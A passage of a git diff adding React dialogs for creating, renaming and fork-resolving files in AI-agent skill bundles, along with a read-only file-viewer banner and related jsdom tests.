+import { useDocumentContext } from '@/editor/DocumentContext';
+import { skillEntryFileLiveDocName } from '@/lib/managed-artifact-doc-name';
+import { isValidBundleFilePath } from '@/lib/skill-bundle-paths';
+import { writeSkillFile } from '@/lib/skills-api';
+
+export interface SkillFileCreateTarget {
+ skill: SkillsListEntry;
+ /** Seed prefix for the path field (`references/` by default; a dir row seeds
+ * its own path). */
+ prefix?: string;
+}
+
+/**
+ * Create a new bundle file inside a skill (§7 follow-up). The field holds the
+ * full bundle-relative path, so nested folders come free — `references/deep/x.md`
+ * creates `deep/` on write (the server mkdirs parents). Markdown lands as a
+ * live editable doc and opens immediately; anything else (scripts, text
+ * fixtures) is written fs-direct.
+ */
+export function SkillFileCreateDialog({
+ target,
+ onOpenChange,
+}: {
+ target: SkillFileCreateTarget | null;
+ onOpenChange: (open: boolean) => void;
+}) {
+ const { t } = useLingui();
+ const { openTarget } = useDocumentContext();
+ const inputId = useId();
+ const [path, setPath] = useState('');
+ const [saving, setSaving] = useState(false);
+
+ // biome-ignore lint/correctness/useExhaustiveDependencies: re-seed only when the target changes, not on every keystroke.
+ useEffect(() => {
+ if (target) setPath(target.prefix ?? 'references/');
+ }, [target?.skill.scope, target?.skill.name, target?.prefix]);
+
+ if (!target) return null;
+
+ const trimmed = path.trim();
+ const invalid = trimmed === '' || !isValidBundleFilePath(trimmed);
+ const canSave = !invalid && !saving;
+ // When the path nests, name the folder(s) that'll be created so the implicit
+ // mkdir is honest rather than a surprise.
+ const folderPart = trimmed.includes('/') ? trimmed.split('/').slice(0, -1).join('/') : null;
+
+ async function submit() {
+ if (!target || !canSave) return;
+ setSaving(true);
+ const isMd = /\.mdx?$/i.test(trimmed);
+ const result = await writeSkillFile({
+ scope: target.skill.scope,
+ name: target.skill.name,
+ path: trimmed,
+ content: isMd
+ ? `# ${
+ trimmed
+ .split('/')
+ .pop()
+ ?.replace(/\.mdx?$/i, '') ?? ''
+ }\n`
+ : '',
+ });
+ setSaving(false);
+ if (!result.ok) {
+ toast.error(t`Couldn't create ${trimmed}: ${result.error}`);
+ return;
+ }
+ toast.success(t`Created ${result.path}`);
+ // Markdown references open as live editable docs right away.
+ if (isMd) {
+ const docName = skillEntryFileLiveDocName(target.skill, trimmed);
+ openTarget({ kind: 'doc', target: docName, docName });
+ }
+ onOpenChange(false);
+ }
+
+ return (
+ <Dialog
+ open
+ onOpenChange={(open) => {
+ if (!open && !saving) onOpenChange(false);
+ }}
+ >
+ <DialogContent className="sm:max-w-md">
+ <DialogHeader>
+ <DialogTitle>
+ <Trans>New skill file</Trans>
+ </DialogTitle>
+ <DialogDescription>
+ <Trans>
+ A path inside the skill — any folder works (e.g. references/notes.md). Folders in the
+ path are created for you.
+ </Trans>
+ </DialogDescription>
+ </DialogHeader>
+ <div className="space-y-1.5">
+ <Label htmlFor={inputId}>
+ <Trans>Path</Trans>
+ </Label>
+ <Input
+ id={inputId}
+ value={path}
+ onChange={(e) => setPath(e.target.value)}
+ placeholder="references/notes.md"
+ aria-invalid={invalid && trimmed !== ''}
+ onKeyDown={(e) => {
+ if (e.key === 'Enter') void submit();
+ }}
+ />
+ {invalid && trimmed !== '' ? (
+ <p className="text-destructive text-xs">
+ <Trans>
+ Use a relative path inside the skill (no .., no spaces; SKILL.md is managed).
+ </Trans>
+ </p>
+ ) : folderPart ? (
+ <p className="text-muted-foreground text-xs">
+ <Trans>
+ Creates the <span className="font-mono text-foreground/80">{folderPart}/</span>{' '}
+ folder
+ </Trans>
+ </p>
+ ) : null}
+ </div>
+ <DialogFooter>
+ <Button variant="outline" onClick={() => onOpenChange(false)} disabled={saving}>
+ <Trans>Cancel</Trans>
+ </Button>
+ <Button onClick={() => void submit()} disabled={!canSave}>
+ {saving ? <Trans>Creating</Trans> : <Trans>Create</Trans>}
+ </Button>
+ </DialogFooter>
+ </DialogContent>
+ </Dialog>
+ );
+}
diff --git a/packages/app/src/components/SkillFileRenameDialog.tsx b/packages/app/src/components/SkillFileRenameDialog.tsx
new file mode 100644
index 000000000..a9ac0858f
--- /dev/null
+++ b/packages/app/src/components/SkillFileRenameDialog.tsx
@@ -0,0 +1,129 @@
+import type { SkillsListEntry } from '@inkeep/open-knowledge-core';
+import { Trans, useLingui } from '@lingui/react/macro';
+import { useEffect, useId, useState } from 'react';
+import { toast } from 'sonner';
+import { useManagedArtifactRetarget } from '@/components/ManagedArtifactProperties';
+import { Button } from '@/components/ui/button';
+import {
+ Dialog,
+ DialogContent,
+ DialogDescription,
+ DialogFooter,
+ DialogHeader,
+ DialogTitle,
+} from '@/components/ui/dialog';
+import { Input } from '@/components/ui/input';
+import { Label } from '@/components/ui/label';
+import { isValidBundleFilePath } from '@/lib/skill-bundle-paths';
+import { renameSkillFile } from '@/lib/skills-api';
+
+export interface SkillFileRenameTarget {
+ skill: SkillsListEntry;
+ filePath: string;
+}
+
+/**
+ * Rename/move ONE bundle file (§8.9). The field holds the full bundle-relative
+ * path, so a rename and a move-between-subdirs are the same edit
+ * (`references/a.md` → `references/deep/a.md`). The server enforces the
+ * allowlist + containment + never-overwrite; a project `.md` reference's open
+ * tab retargets to the moved doc.
+ */
+export function SkillFileRenameDialog({
+ target,
+ onOpenChange,
+}: {
+ target: SkillFileRenameTarget | null;
+ onOpenChange: (open: boolean) => void;
+}) {
+ const { t } = useLingui();
+ const retarget = useManagedArtifactRetarget();
+ const inputId = useId();
+ const [path, setPath] = useState('');
+ const [saving, setSaving] = useState(false);
+
+ // biome-ignore lint/correctness/useExhaustiveDependencies: re-seed only when the target changes, not on every keystroke.
+ useEffect(() => {
+ if (target) setPath(target.filePath);
+ }, [target?.skill.scope, target?.skill.name, target?.filePath]);
+
+ if (!target) return null;
+
+ const trimmed = path.trim();
+ const unchanged = trimmed === target.filePath;
+ const invalid = trimmed === '' || !isValidBundleFilePath(trimmed);
+ const canSave = !invalid && !unchanged && !saving;
+
+ async function submit() {
+ if (!target || !canSave) return;
+ setSaving(true);
+ const result = await renameSkillFile({
+ scope: target.skill.scope,
+ name: target.skill.name,
+ from: target.filePath,
+ to: trimmed,
+ });
+ setSaving(false);
+ if (!result.ok) {
+ toast.error(t`Rename failed: ${result.error}`);
+ return;
+ }
+ if (result.fromDocName !== undefined && result.toDocName !== undefined) {
+ retarget(result.fromDocName, result.toDocName);
+ }
+ toast.success(t`Renamed to ${result.to}`);
+ onOpenChange(false);
+ }
+
+ return (
+ <Dialog
+ open
+ onOpenChange={(open) => {
+ if (!open && !saving) onOpenChange(false);
+ }}
+ >
+ <DialogContent className="sm:max-w-md">
+ <DialogHeader>
+ <DialogTitle>
+ <Trans>Rename file</Trans>
+ </DialogTitle>
+ <DialogDescription>
+ <Trans>
+ Move or rename this file inside the skill — the path stays under references/ or
+ scripts/.
+ </Trans>
+ </DialogDescription>
+ </DialogHeader>
+ <div className="space-y-1.5">
+ <Label htmlFor={inputId}>
+ <Trans>Path</Trans>
+ </Label>
+ <Input
+ id={inputId}
+ value={path}
+ onChange={(e) => setPath(e.target.value)}
+ aria-invalid={invalid && trimmed !== ''}
+ onKeyDown={(e) => {
+ if (e.key === 'Enter') void submit();
+ }}
+ />
+ {invalid && trimmed !== '' ? (
+ <p className="text-destructive text-xs">
+ <Trans>
+ Use a relative path inside the skill (no .., no spaces; SKILL.md is managed).
+ </Trans>
+ </p>
+ ) : null}
+ </div>
+ <DialogFooter>
+ <Button variant="outline" onClick={() => onOpenChange(false)} disabled={saving}>
+ <Trans>Cancel</Trans>
+ </Button>
+ <Button onClick={() => void submit()} disabled={!canSave}>
+ {saving ? <Trans>Renaming</Trans> : <Trans>Rename</Trans>}
+ </Button>
+ </DialogFooter>
+ </DialogContent>
+ </Dialog>
+ );
+}
diff --git a/packages/app/src/components/SkillFileViewer.dom.test.tsx b/packages/app/src/components/SkillFileViewer.dom.test.tsx
index 4020c4fe2..0129e759e 100644
--- a/packages/app/src/components/SkillFileViewer.dom.test.tsx
+++ b/packages/app/src/components/SkillFileViewer.dom.test.tsx
@@ -109,4 +109,31 @@ describe('SkillFileViewer — scope-aware bundle-file read + render dispatch', (
// No content-dir "Open file" handoff for a skill file (no asset URL).
expect(container.querySelector('a[href*="/api/asset"]')).toBeNull();
});
+
+ test('a references/ bundle-path chip is decorated as a clickable skill-path link (PRD-7607 part 2)', async () => {
+ loadSkillFileTextMock.mockResolvedValueOnce({
+ ok: true,
+ text: 'See `references/pressure-testing.md` for the drill.\n',
+ });
+ const { container } = render(
+ <SkillFileViewer scope="global" name="trip-log" path="references/guide.md" />,
+ );
+ // The bundle path in inline code gets the SkillPathLinks decoration, so a
+ // read-only skill can navigate to its sibling files (not a dead chip).
+ await waitFor(() => {
+ expect(container.querySelector('.ok-skill-path-link[data-skill-path]')).not.toBeNull();
+ });
+ expect(container.querySelector('[data-skill-path]')?.getAttribute('data-skill-path')).toBe(
+ 'references/pressure-testing.md',
+ );
+ });
+
+ test('shows the read-only eye banner so the read-only state is visible (§8.11)', () => {
+ loadSkillFileTextMock.mockResolvedValueOnce({ ok: true, text: 'echo hi\n' });
+ const { container } = render(
+ <SkillFileViewer scope="global" name="trip-log" path="scripts/run.sh" />,
+ );
+ // The banner renders immediately (not gated on the async read).
+ expect(container.textContent).toContain('Read-only file in the trip-log skill');
+ });
});
diff --git a/packages/app/src/components/SkillFileViewer.tsx b/packages/app/src/components/SkillFileViewer.tsx
index 535642edf..060fa8933 100644
--- a/packages/app/src/components/SkillFileViewer.tsx
+++ b/packages/app/src/components/SkillFileViewer.tsx
@@ -1,49 +1,87 @@
import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { useLingui } from '@lingui/react/macro';
+import { Eye } from 'lucide-react';
+import { useRef } from 'react';
+import { ProseFindBar } from '@/components/ProseFindBar';
import { SkillMarkdownLoader } from '@/components/SkillMarkdownLoader';
import { TextViewer } from '@/components/TextViewer';
+import { useFindInViewer } from '@/hooks/use-find-in-viewer';
import { loadSkillFileText } from '@/lib/skills-api';
/** Bundle-file extensions rendered as formatted markdown rather than source. */
const MARKDOWN_EXTENSIONS = new Set(['md', 'mdx']);
/**
- * Read-only viewer for a skill's bundle files (`references/**` / `scripts/**`).
+ * Read-only viewer for a skill's bundle files (scripts, built-in references,
+ * and any non-editable file — editable project/global `.md` references open as
+ * live docs instead, not through here).
*
- * Unlike a content-dir asset, a skill bundle file is read through the
- * scope-aware `/api/skill-file` endpoint, so it works for GLOBAL skills whose
- * files live under `~/.ok/skills/` — outside the project content dir the asset
- * server knows about. (Project `.md` references open as editable content docs
- * instead; this viewer is for everything that isn't a project-scope `.md`.)
+ * A skill bundle file is read through the scope-aware `/api/skill-file`
+ * endpoint, so it works for GLOBAL skills whose files live under `~/.ok/skills/`
+ * — outside the project content dir the asset server knows about.
*
* Dispatch by extension:
- * - `.md` / `.mdx` → `SkillMarkdownLoader`, which renders the file as
- * formatted, read-only prose (same look as the editor, no CRDT binding).
- * - everything else (scripts, json, …) → `TextViewer`'s read-only CodeMirror
- * source render, so language highlighting + theme + the loading / error
- * panes match the asset text viewer.
+ * - `.md` / `.mdx` → `SkillMarkdownLoader` (formatted read-only prose).
+ * - everything else (scripts, json, yaml, …) → `TextViewer`'s read-only
+ * CodeMirror source render.
+ *
+ * Both are wrapped with the eye read-only banner so the surface reads as
+ * read-only like the skill preview does (§8.11) — the file opens with no edit
+ * affordance, and without the banner that was invisible.
*/
export function SkillFileViewer({
scope,
name,
path,
+ host,
}: {
scope: SkillScope;
name: string;
path: string;
+ /** Which same-named bundle this file belongs to; omitted = by-name default. */
+ host?: string;
}) {
+ const { t } = useLingui();
+ // §8.4: Cmd/Ctrl+F inside the read-only surface opens the in-viewer find bar
+ // (prose files; the CodeMirror text viewer has its own search built in).
+ const proseRef = useRef<HTMLDivElement | null>(null);
+ const rootRef = useRef<HTMLDivElement | null>(null);
+ const inertRef = useRef<HTMLDivElement | null>(null);
+ // Window-level capture scoped to events inside this viewer — the container
+ // is a static element, so it can't own a key handler itself (a11y), and the
+ // shortcut should work regardless of which child holds focus.
const fileName = path.split('/').pop() ?? path;
const dot = fileName.lastIndexOf('.');
const extension = dot >= 0 ? fileName.slice(dot + 1).toLowerCase() : '';
+ const isMarkdown = MARKDOWN_EXTENSIONS.has(extension);
+ // Prose files only — a text file's CodeMirror owns Cmd+F itself.
+ const { findOpen, setFindOpen } = useFindInViewer(isMarkdown ? rootRef : inertRef);
- if (MARKDOWN_EXTENSIONS.has(extension)) {
- return <SkillMarkdownLoader scope={scope} name={name} path={path} fileName={fileName} />;
- }
-
- return (
+ const viewer = MARKDOWN_EXTENSIONS.has(extension) ? (
+ <SkillMarkdownLoader scope={scope} name={name} path={path} host={host} fileName={fileName} />
+ ) : (
<TextViewer
fileName={fileName}
extension={extension}
- loadText={(signal: AbortSignal) => loadSkillFileText({ scope, name, path }, signal)}
+ loadText={(signal: AbortSignal) => loadSkillFileText({ scope, name, path, host }, signal)}
/>
);
+
+ return (
+ <div ref={rootRef} className="relative flex h-full min-h-0 flex-col">
+ {isMarkdown && findOpen ? (
+ <ProseFindBar containerRef={proseRef} onClose={() => setFindOpen(false)} />
+ ) : null}
+ {/* Read-only affordance: a skill bundle file opens read-only, so mark it
+ with the same eye banner the skill preview uses — without it the
+ read-only state was invisible (§8.11). */}
+ <div className="flex shrink-0 items-center gap-1.5 border-border border-b bg-muted/35 px-3 py-2 text-muted-foreground text-sm">
+ <Eye className="size-4 shrink-0" aria-hidden />
+ <span className="truncate">{t`Read-only file in the ${name} skill`}</span>
+ </div>
+ <div ref={proseRef} className="min-h-0 flex-1">
+ {viewer}
+ </div>
+ </div>
+ );
}
diff --git a/packages/app/src/components/SkillForkDialog.dom.test.tsx b/packages/app/src/components/SkillForkDialog.dom.test.tsx
new file mode 100644
index 000000000..5d246c196
--- /dev/null
+++ b/packages/app/src/components/SkillForkDialog.dom.test.tsx
@@ -0,0 +1,79 @@
+/**
+ * the fork-resolution dialog must never hang on "Loading both
+ * versions". The diff is a preview aid, not a gate — if a version preview fails
+ * to load (fetch error) or the skill has no `absolutePath` to locate the dirs,
+ * the dialog surfaces that and keeps the three resolve actions usable, instead
+ * of an indefinite spinner. Runs under jsdom via `test:dom`.
+ */
+import type { SkillsListEntry } from '@inkeep/open-knowledge-core';
+import { cleanup, render, screen, waitFor } from '@testing-library/react';
+import { afterEach, describe, expect, test, vi } from 'vitest';
+
+// Radix Dialog focus-trap reaches for DOM globals the shared jsdom preload
+// doesn't expose — same local shims as the sibling dialog dom tests.
+type WindowGlobals = { NodeFilter?: typeof NodeFilter };
+type GlobalWithDomShims = typeof globalThis &
+ WindowGlobals & { window?: WindowGlobals; ResizeObserver?: unknown };
+const g = globalThis as GlobalWithDomShims;
+if (g.NodeFilter === undefined && g.window?.NodeFilter !== undefined)
+ g.NodeFilter = g.window.NodeFilter;
+if (g.ResizeObserver === undefined) {
+ class NoopResizeObserver {
+ observe() {}
+ unobserve() {}
+ disconnect() {}
+ }
+ g.ResizeObserver = NoopResizeObserver;
+}
+
+const fetchSkillPreviewMock = vi.fn();
+const resolveSkillForkMock = vi.fn(async () => ({ ok: true as const }));
+vi.doMock('@/lib/skills-api', () => ({
+ fetchSkillPreview: fetchSkillPreviewMock,
+ resolveSkillFork: resolveSkillForkMock,
+}));
+
+const { SkillForkDialog } = await import('./SkillForkDialog.tsx');
+
+const skill = {
+ scope: 'project',
+ name: 'plannotator-annotate',
+ path: '.claude/skills/plannotator-annotate/SKILL.md',
+ absolutePath: '/proj/.claude/skills/plannotator-annotate/SKILL.md',
+} as unknown as SkillsListEntry;
+
+describe('SkillForkDialog — never hangs on Loading (PRD-7608)', () => {
+ afterEach(() => {
+ cleanup();
+ fetchSkillPreviewMock.mockReset();
+ resolveSkillForkMock.mockReset();
+ });
+
+ test('a failed version preview shows an error + keeps the resolve actions', async () => {
+ fetchSkillPreviewMock.mockResolvedValue({ ok: false });
+ render(<SkillForkDialog target={{ skill, editor: 'claude' }} onOpenChange={() => {}} />);
+
+ await waitFor(() => {
+ expect(screen.queryByText(/Couldn't load the version preview/i)).not.toBeNull();
+ });
+ // Not stuck on the spinner…
+ expect(screen.queryByText(/Loading both versions/i)).toBeNull();
+ // …and the three resolve actions are still usable.
+ expect(screen.getByRole('button', { name: /keep source/i })).toBeTruthy();
+ expect(screen.getByRole('button', { name: /use claude version/i })).toBeTruthy();
+ expect(screen.getByRole('button', { name: /keep both/i })).toBeTruthy();
+ });
+
+ test('a missing absolutePath shows the error immediately, not a spinner', async () => {
+ fetchSkillPreviewMock.mockResolvedValue({ ok: true, skillMd: '# x' });
+ const noPath = { ...skill, absolutePath: undefined } as unknown as SkillsListEntry;
+ render(
+ <SkillForkDialog target={{ skill: noPath, editor: 'claude' }} onOpenChange={() => {}} />,
+ );
+
+ expect(screen.getByText(/Couldn't load the version preview/i)).toBeTruthy();
+ expect(screen.queryByText(/Loading both versions/i)).toBeNull();
+ // No fetch is even attempted when the dirs can't be located.
+ expect(fetchSkillPreviewMock).not.toHaveBeenCalled();
+ });
+});
diff --git a/packages/app/src/components/SkillForkDialog.tsx b/packages/app/src/components/SkillForkDialog.tsx
new file mode 100644
index 000000000..e94c33f39
--- /dev/null
+++ b/packages/app/src/components/SkillForkDialog.tsx
@@ -0,0 +1,214 @@
+import { SKILL_NAME_REGEX, type SkillsListEntry } from '@inkeep/open-knowledge-core';
+import { Trans, useLingui } from '@lingui/react/macro';
+import { useEffect, useId, useState } from 'react';
+import { toast } from 'sonner';
+import { DiffView } from '@/components/DiffView';
+import { Button } from '@/components/ui/button';
+import {
+ Dialog,
+ DialogBody,
+ DialogContent,
+ DialogDescription,
+ DialogFooter,
+ DialogHeader,
+ DialogTitle,
+} from '@/components/ui/dialog';
+import { Input } from '@/components/ui/input';
+import { Label } from '@/components/ui/label';
+import { skillHostRootDir } from '@/lib/skill-scope';
+import { fetchSkillPreview, resolveSkillFork } from '@/lib/skills-api';
+
+export interface SkillForkTarget {
+ skill: SkillsListEntry;
+ /** The editor whose dir holds the divergent same-name copy. */
+ editor: string;
+}
+
+/**
+ * Fork resolution — the CONFLICT chip's door. Same name, different bytes in a
+ * non-canonical editor dir: show the two SKILL.md bodies as a diff and offer
+ * the three verbs (keep the source / make the fork the source / keep both
+ * under a new name). Every server-side path stashes the discarded bytes
+ * out-of-tree first, so no choice is silently lossy. One-row-per-name stays
+ * the invariant: "keep both" is a deliberate rename, never two rows sharing
+ * an identity.
+ */
+export function SkillForkDialog({
+ target,
+ onOpenChange,
+}: {
+ target: SkillForkTarget | null;
+ onOpenChange: (open: boolean) => void;
+}) {
+ const { t } = useLingui();
+ const inputId = useId();
+ const [forkBody, setForkBody] = useState<string | null>(null);
+ const [canonicalBody, setCanonicalBody] = useState<string | null>(null);
+ // The diff is a PREVIEW aid, not a gate: if either version fails to load (a
+ // preview fetch error, or a missing `absolutePath` so we can't even locate the
+ // dirs), surface that instead of hanging on "Loading both versions" forever
+ // — the three resolve actions stay usable regardless.
+ const [previewError, setPreviewError] = useState(false);
+ const [renaming, setRenaming] = useState(false);
+ const [toName, setToName] = useState('');
+ const [busy, setBusy] = useState(false);
+
+ // Load both bodies via the local-dir preview path (the detected-skill class):
+ // the canonical from its real dir, the fork from the editor's dir.
+ // biome-ignore lint/correctness/useExhaustiveDependencies: reload only when the target identity changes
+ useEffect(() => {
+ setForkBody(null);
+ setCanonicalBody(null);
+ setPreviewError(false);
+ setRenaming(false);
+ if (!target) return;
+ const { skill, editor } = target;
+ const base = skill.absolutePath?.slice(0, -`/${skill.path}`.length) ?? null;
+ if (base === null) {
+ // Can't locate the two dirs — show the resolve options without a diff
+ // rather than spin indefinitely.
+ setPreviewError(true);
+ return;
+ }
+ const canonicalDir = `${base}/${skill.path.replace(/\/SKILL\.mdx?$/i, '')}`;
+ const forkDir = `${base}/${skillHostRootDir(editor, skill.scope)}/${skill.name}`;
+ const controller = new AbortController();
+ for (const [dir, set] of [
+ [canonicalDir, setCanonicalBody],
+ [forkDir, setForkBody],
+ ] as const) {
+ void fetchSkillPreview({ source: dir, name: skill.name }, controller.signal)
+ .then((res) => {
+ if (controller.signal.aborted) return;
+ if (res.ok) set(res.skillMd);
+ else setPreviewError(true);
+ })
+ .catch(() => {
+ if (!controller.signal.aborted) setPreviewError(true);
+ });
+ }
+ return () => controller.abort();
+ }, [target?.skill.scope, target?.skill.name, target?.editor]);
+
+ if (!target) return null;
+ const { skill, editor } = target;
+
+ async function act(action: 'align' | 'make-source' | 'rename') {
+ if (!target) return;
+ setBusy(true);
+ const result = await resolveSkillFork({
+ scope: skill.scope,
+ name: skill.name,
+ editor,
+ action,
+ ...(action === 'rename' ? { toName: toName.trim() } : {}),
+ });
+ setBusy(false);
+ if (!result.ok) {
+ toast.error(t`Couldn't resolve the fork: ${result.error}`);
+ return;
+ }
+ toast.success(
+ action === 'align'
+ ? t`Aligned ${editor} to the source (its bytes are backed up)`
+ : action === 'make-source'
+ ? t`The ${editor} version is now the source`
+ : t`Kept both — "${toName.trim()}" is its own skill now`,
+ );
+ onOpenChange(false);
+ }
+
+ const trimmed = toName.trim();
+ const renameInvalid = trimmed === '' || !SKILL_NAME_REGEX.test(trimmed) || trimmed === skill.name;
+
+ return (
+ <Dialog
+ open
+ onOpenChange={(open) => {
+ if (!open && !busy) onOpenChange(false);
+ }}
+ >
+ {/* `w-full` so the dialog holds its max width even before/without the diff
+ — otherwise it collapses to the placeholder's width and the footer
+ buttons spread edge-to-edge. */}
+ <DialogContent className="flex max-h-[85vh] w-full max-w-3xl flex-col">
+ <DialogHeader>
+ <DialogTitle>
+ <Trans>
+ Two versions of "{skill.name}" — source vs {editor}
+ </Trans>
+ </DialogTitle>
+ <DialogDescription>
+ <Trans>
+ The {editor} folder holds a different version of this skill. Pick which one wins, or
+ keep both under different names. Whatever you replace is backed up first.
+ </Trans>
+ </DialogDescription>
+ </DialogHeader>
+ <DialogBody className="min-h-0 flex-1 overflow-auto">
+ {canonicalBody !== null && forkBody !== null ? (
+ <DiffView oldContent={canonicalBody} newContent={forkBody} layout="unified" />
+ ) : previewError ? (
+ <div className="flex min-h-56 items-center justify-center px-6 text-center text-muted-foreground text-sm">
+ <Trans>
+ Couldn't load the version preview. You can still choose how to resolve it below.
+ </Trans>
+ </div>
+ ) : (
+ <div className="flex min-h-56 items-center justify-center text-muted-foreground text-sm">
+ <Trans>Loading both versions</Trans>
+ </div>
+ )}
+ {renaming ? (
+ <div className="mt-3 space-y-1.5">
+ <Label htmlFor={inputId}>
+ <Trans>New name for the {editor} version</Trans>
+ </Label>
+ <Input
+ id={inputId}
+ value={toName}
+ onChange={(e) => setToName(e.target.value)}
+ placeholder={`${skill.name}-${editor}`}
+ aria-invalid={renameInvalid && trimmed !== ''}
+ onKeyDown={(e) => {
+ if (e.key === 'Enter' && !renameInvalid) void act('rename');
+ }}
+ />
+ </div>
+ ) : null}
+ </DialogBody>
+ <DialogFooter>
+ {renaming ? (
+ <>
+ <Button variant="outline" onClick={() => setRenaming(false)} disabled={busy}>
+ <Trans>Back</Trans>
+ </Button>
+ <Button onClick={() => void act('rename')} disabled={busy || renameInvalid}>
+ <Trans>Keep both</Trans>
+ </Button>
+ </>
+ ) : (
+ <>
+ <Button
+ variant="outline"
+ onClick={() => {
+ setToName(`${skill.name}-${editor}`);
+ setRenaming(true);
+ }}
+ disabled={busy}
+ >
+ <Trans>Keep both</Trans>
+ </Button>
+ <Button variant="outline" onClick={() => void act('make-source')} disabled={busy}>
+ <Trans>Use {editor} version</Trans>
+ </Button>
+ <Button onClick={() => void act('align')} disabled={busy}>
+ <Trans>Keep source</Trans>
+ </Button>
+ </>
+ )}
+ </DialogFooter>
+ </DialogContent>
+ </Dialog>
+ );
+}
diff --git a/packages/app/src/components/SkillInstallMenu.dom.test.tsx b/packages/app/src/components/SkillInstallMenu.dom.test.tsx
new file mode 100644
index 000000000..6b01ecea4
--- /dev/null
+++ b/packages/app/src/components/SkillInstallMenu.dom.test.tsx
@@ -0,0 +1,100 @@
+import type { SkillsListEntry } from '@inkeep/open-knowledge-core';
+import { act, cleanup, renderHook } from '@testing-library/react';
+import { afterEach, describe, expect, test, vi } from 'vitest';
+import type { SkillActions } from '@/components/skill-actions';
+import { __resetSkillOverlaysForTests } from '@/lib/skill-install-overlay-store';
+import { useSkillHostToggles } from './SkillInstallMenu';
+
+describe('useSkillHostToggles', () => {
+ afterEach(() => {
+ cleanup();
+ __resetSkillOverlaysForTests();
+ vi.useRealTimers();
+ });
+
+ test('flushes a pending target change when its menu unmounts', () => {
+ vi.useFakeTimers();
+ const install = vi.fn().mockResolvedValue({
+ ok: true,
+ hosts: ['codex'],
+ scripts: false,
+ warnings: [],
+ warningCodes: [],
+ });
+ const skill = {
+ name: 'example',
+ scope: 'project',
+ hosts: [],
+ installed: false,
+ } as unknown as SkillsListEntry;
+ const actions = {
+ install,
+ installingName: null,
+ } as unknown as SkillActions;
+ const { result, unmount } = renderHook(() => useSkillHostToggles(skill, actions));
+
+ act(() => result.current.toggleEditor('codex', true));
+ expect(install).not.toHaveBeenCalled();
+
+ unmount();
+
+ expect(install).toHaveBeenCalledTimes(1);
+ expect(install).toHaveBeenCalledWith(skill, ['codex']);
+ });
+
+ test('a toggle in one surface is visible in every other surface for the same skill', () => {
+ vi.useFakeTimers();
+ const install = vi.fn().mockResolvedValue({
+ ok: true,
+ hosts: ['codex'],
+ scripts: false,
+ warnings: [],
+ warningCodes: [],
+ });
+ const skill = {
+ name: 'shared',
+ scope: 'project',
+ hosts: [],
+ installed: false,
+ } as unknown as SkillsListEntry;
+ const actions = { install, installingName: null } as unknown as SkillActions;
+ // The toolbar pill and the sidebar menu mount the hook independently — the
+ // pill used to keep reading "not installed" while the menu already showed
+ // the checkmark.
+ const pill = renderHook(() => useSkillHostToggles(skill, actions));
+ const menu = renderHook(() => useSkillHostToggles(skill, actions));
+
+ act(() => menu.result.current.toggleEditor('codex', true));
+
+ expect(menu.result.current.installed).toBe(true);
+ expect(pill.result.current.installed).toBe(true);
+ expect(pill.result.current.hostSet.has('codex')).toBe(true);
+
+ pill.unmount();
+ menu.unmount();
+ });
+
+ test('a different skill keeps its own overlay', () => {
+ vi.useFakeTimers();
+ const install = vi.fn().mockResolvedValue({
+ ok: true,
+ hosts: ['codex'],
+ scripts: false,
+ warnings: [],
+ warningCodes: [],
+ });
+ const actions = { install, installingName: null } as unknown as SkillActions;
+ const one = { name: 'one', scope: 'project', hosts: [], installed: false };
+ const two = { name: 'two', scope: 'project', hosts: [], installed: false };
+ const a = renderHook(() => useSkillHostToggles(one as unknown as SkillsListEntry, actions));
+ const b = renderHook(() => useSkillHostToggles(two as unknown as SkillsListEntry, actions));
+
+ act(() => a.result.current.toggleEditor('codex', true));
+
+ expect(a.result.current.installed).toBe(true);
+ expect(b.result.current.installed).toBe(false);
+
+ a.unmount();
+ b.unmount();
+ });
+});
diff --git a/packages/app/src/components/SkillInstallMenu.rows.dom.test.tsx b/packages/app/src/components/SkillInstallMenu.rows.dom.test.tsx
new file mode 100644
index 000000000..00917f68d
--- /dev/null
+++ b/packages/app/src/components/SkillInstallMenu.rows.dom.test.tsx
@@ -0,0 +1,114 @@
+import { cleanup, render, screen } from '@testing-library/react';
+import userEvent from '@testing-library/user-event';
+import { afterEach, describe, expect, test, vi } from 'vitest';
+
+/**
+ * What an install-menu ROW does and says.
+ *
+ * A row is a plain checkbox: click installs, click again removes, and nothing
+ * else on the row changes underneath the click. Its hint is the only place that
+ * contract is written down, and a native `title` does not render at all while
+ * the window is unfocused, so the hints come from Radix.
+ */
+vi.mock('@/hooks/use-skills', () => ({ useSkills: () => ({ status: 'idle' }) }));
+
+const { SkillInstallMenuItems } = await import('./SkillInstallMenu');
+const { DropdownMenu, DropdownMenuContent } = await import('@/components/ui/dropdown-menu');
+const { TooltipProvider } = await import('@/components/ui/tooltip');
+
+const toggles = {
+ hostSet: new Set(['claude', 'codex']),
+ installed: true,
+ installing: false,
+ toggleEditor: vi.fn(),
+ installAll: vi.fn(),
+ linkMode: true,
+ setSource: vi.fn(),
+ placeAt: vi.fn(),
+ convertLocation: vi.fn(),
+ sourceHost: 'claude',
+};
+
+const skill = {
+ scope: 'project',
+ name: 'demo',
+ hosts: ['claude', 'codex'],
+ symlinkedHosts: ['codex'],
+ path: '.claude/skills/demo/SKILL.md',
+};
+
+function renderMenu() {
+ render(
+ <TooltipProvider>
+ <DropdownMenu open>
+ <DropdownMenuContent>
+ <SkillInstallMenuItems toggles={toggles as never} skill={skill as never} />
+ </DropdownMenuContent>
+ </DropdownMenu>
+ </TooltipProvider>,
+ );
+}
+
+describe('install menu rows', () => {
+ afterEach(() => {
+ cleanup();
+ vi.clearAllMocks();
+ });
+
+ test('a row is a checkbox: it toggles install, and never moves the source', async () => {
+ renderMenu();
+ // Checked = installed, unchecked = not. No third state to cycle through.
+ expect(screen.getByTestId('skill-install-editor-codex')).toHaveProperty('ariaChecked', 'true');
+ expect(screen.getByTestId('skill-install-editor-cursor')).toHaveProperty(
+ 'ariaChecked',
+ 'false',
+ );
+
+ await userEvent.click(screen.getByTestId('skill-install-editor-cursor'));
+ expect(toggles.toggleEditor).toHaveBeenCalledWith('cursor', true);
+ // Clicking the row used to be able to land on the mode tag, which moved the
+ // skill's real folder — the flash of `copy` settling on `source`.
+ expect(toggles.setSource).not.toHaveBeenCalled();
+ expect(toggles.convertLocation).not.toHaveBeenCalled();
+
+ await userEvent.click(screen.getByTestId('skill-install-editor-codex'));
+ expect(toggles.toggleEditor).toHaveBeenCalledWith('codex', false);
+ });
+
+ test('"All" is an explicit control of its own, not a row', async () => {
+ renderMenu();
+ await userEvent.click(screen.getByTestId('skill-install-all'));
+ expect(toggles.installAll).toHaveBeenCalledTimes(1);
+ });
